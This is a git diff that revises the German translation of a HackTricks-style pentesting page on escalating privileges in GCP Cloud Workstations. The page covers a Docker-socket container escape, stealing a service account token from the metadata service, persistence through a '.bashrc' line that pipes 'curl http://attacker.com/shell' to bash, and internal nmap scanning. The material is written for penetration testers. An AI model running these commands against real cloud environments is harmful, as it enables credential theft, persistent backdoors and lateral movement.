diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
index e0a064065..9d0d1411b 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -1,22 +1,23 @@
 # GCP - Cloud Workstations Privesc
 
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Container Breakout via Docker Socket (Container -> VM -> Project)
 
-Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Notwendigkeit, **Docker-in-Docker (DinD)**-Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration das Docker socket einbindet oder privilegierte Container erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das Service-Account-Token stehlen.
+Der primäre Privilegien-Eskalationspfad in Cloud Workstations ergibt sich aus der Anforderung, **Docker-in-Docker (DinD)** Workflows für Entwickler zu unterstützen. Wenn die Workstation-Konfiguration den Docker socket einbindet oder privileged containers erlaubt (eine häufige Konfiguration), kann ein Angreifer innerhalb des Workstation-Containers auf die zugrunde liegende Compute Engine VM entkommen und das service account token stehlen.
 
 **Voraussetzungen:**
-- Zugriff auf ein Cloud Workstation-Terminal (per SSH, kompromittierte Sitzung oder gestohlene Anmeldedaten)
-- Die Workstation-Konfiguration muss `/var/run/docker.sock` mounten oder privilegierte Container erlauben
+- Zugriff auf ein Cloud Workstation-Terminal (über SSH, kompromittierte Sitzung oder gestohlene Zugangsdaten)
+- Die Workstation-Konfiguration muss /var/run/docker.sock einbinden oder privileged containers aktivieren
 
-**Architekturkontext:** Die Workstation ist ein Container (Layer 3), der auf einer Docker/Containerd-Runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Das Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts.
+**Architektur-Kontext:** Die Workstation ist ein container (Layer 3), der auf einer Docker/Containerd runtime (Layer 2) auf einer GCE VM (Layer 1) läuft. Der Docker socket gewährt direkten Zugriff auf die Container-Runtime des Hosts.
 
 > [!NOTE]
 > Das Tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatisiert den vollständigen container escape und öffnet eine root shell auf der Host-VM.
 
 <details>
 
-<summary>Schritt 1: Überprüfen auf Docker socket</summary>
+<summary>Schritt 1: Auf Docker socket prüfen</summary>
 ```bash
 # Verify the Docker socket is available
 ls -l /var/run/docker.sock
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
 
 <details>
 
-<summary>Schritt 2: Escape to the host VM filesystem</summary>
+<summary>Schritt 2: Escape to the Host-VM-Filesystem</summary>
 
-Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und den PID namespace des Hosts, um die Sichtbarkeit zu maximieren.
+Wir starten einen privileged container und mounten das Root-Verzeichnis des Hosts nach `/mnt/host`. Außerdem teilen wir das Netzwerk und die PID namespace des Hosts, um die Sichtbarkeit zu maximieren.
 ```bash
 # Spawn a privileged container mounting the host's root filesystem
 docker run -it --rm --privileged --net=host --pid=host \
@@ -38,13 +39,13 @@ alpine sh
 # Inside the new container, chroot into the host
 chroot /mnt/host /bin/bash
 ```
-Du hast jetzt eine **root shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
+Sie haben jetzt eine **Root-Shell auf der zugrunde liegenden Compute Engine VM** (Layer 1).
 
 </details>
 
 <details>
 
-<summary>Schritt 3: Steal the VM service account token from IMDS</summary>
+<summary>Schritt 3: Den VM-Service-Account-Token aus dem IMDS stehlen</summary>
 ```bash
 # From the host VM, query the Instance Metadata Service
 curl -s -H "Metadata-Flavor: Google" \
@@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 </details>
 
 > [!CAUTION]
-> **Prüfe die Scopes!**
-> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch access scopes eingeschränkt sein.
-> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollständigen Zugriff.
-> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die **Network Pivot**- und **Persistence**-Vektoren weiter unten beschränkt.
+> **Überprüfe die Scopes!**
+> Selbst wenn das angehängte Service Account **Editor** ist, kann die VM durch Zugriff-Scopes eingeschränkt sein.
+> Wenn du `https://www.googleapis.com/auth/cloud-platform` siehst, hast du vollen Zugriff.
+> Wenn du nur `logging.write` und `monitoring.write` siehst, bist du auf die untenstehenden Vektoren **Network Pivot** und **Persistence** beschränkt.
 
 <details>
 
-<summary>Schritt 4: Persistence erreichen (Backdoor the User)</summary>
+<summary>Schritt 4: Persistenz erreichen (Backdoor the User)</summary>
 
-Cloud Workstations binden einen persistenten Datenträger unter `/home/user` ein. Da der Container-Benutzer (normalerweise `user`, UID 1000) mit dem Host-Benutzer (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Damit kannst du die Umgebung backdooren, selbst wenn der Workstation-Container neu aufgebaut wird.
+Cloud Workstations mounten eine persistente Disk unter `/home/user`. Da der container user (in der Regel `user`, UID 1000) mit dem Host-User (UID 1000) übereinstimmt, kannst du in das Home-Verzeichnis des Hosts schreiben. Das ermöglicht es dir, die Umgebung zu backdooren, selbst wenn der workstation container neu gebaut wird.
 ```bash
 # Check if you can write to the host's persistent home
 ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
 
 <details>
 
-<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+<summary>Schritt 5: Network Pivot (Interner VPC-Zugriff)</summary>
 
-Da Sie den Host-Netzwerk-Namensraum (`--net=host`) teilen, sind Sie jetzt ein vertrauenswürdiger Knoten im VPC. Sie können nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben.
+Da du den Host-Netzwerk-Namespace (`--net=host`) teilst, bist du jetzt ein vertrauenswürdiger Knoten im VPC. Du kannst nach internen Diensten scannen, die Zugriff basierend auf IP whitelisting erlauben.
 ```bash
 # Install scanning tools on the host (if internet access allows)
 apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
 nmap -sS -p 80,443,22 10.0.0.0/8
 ```
 </details>
+
+
+
+{{#include ../../../banners/hacktricks-training.md}}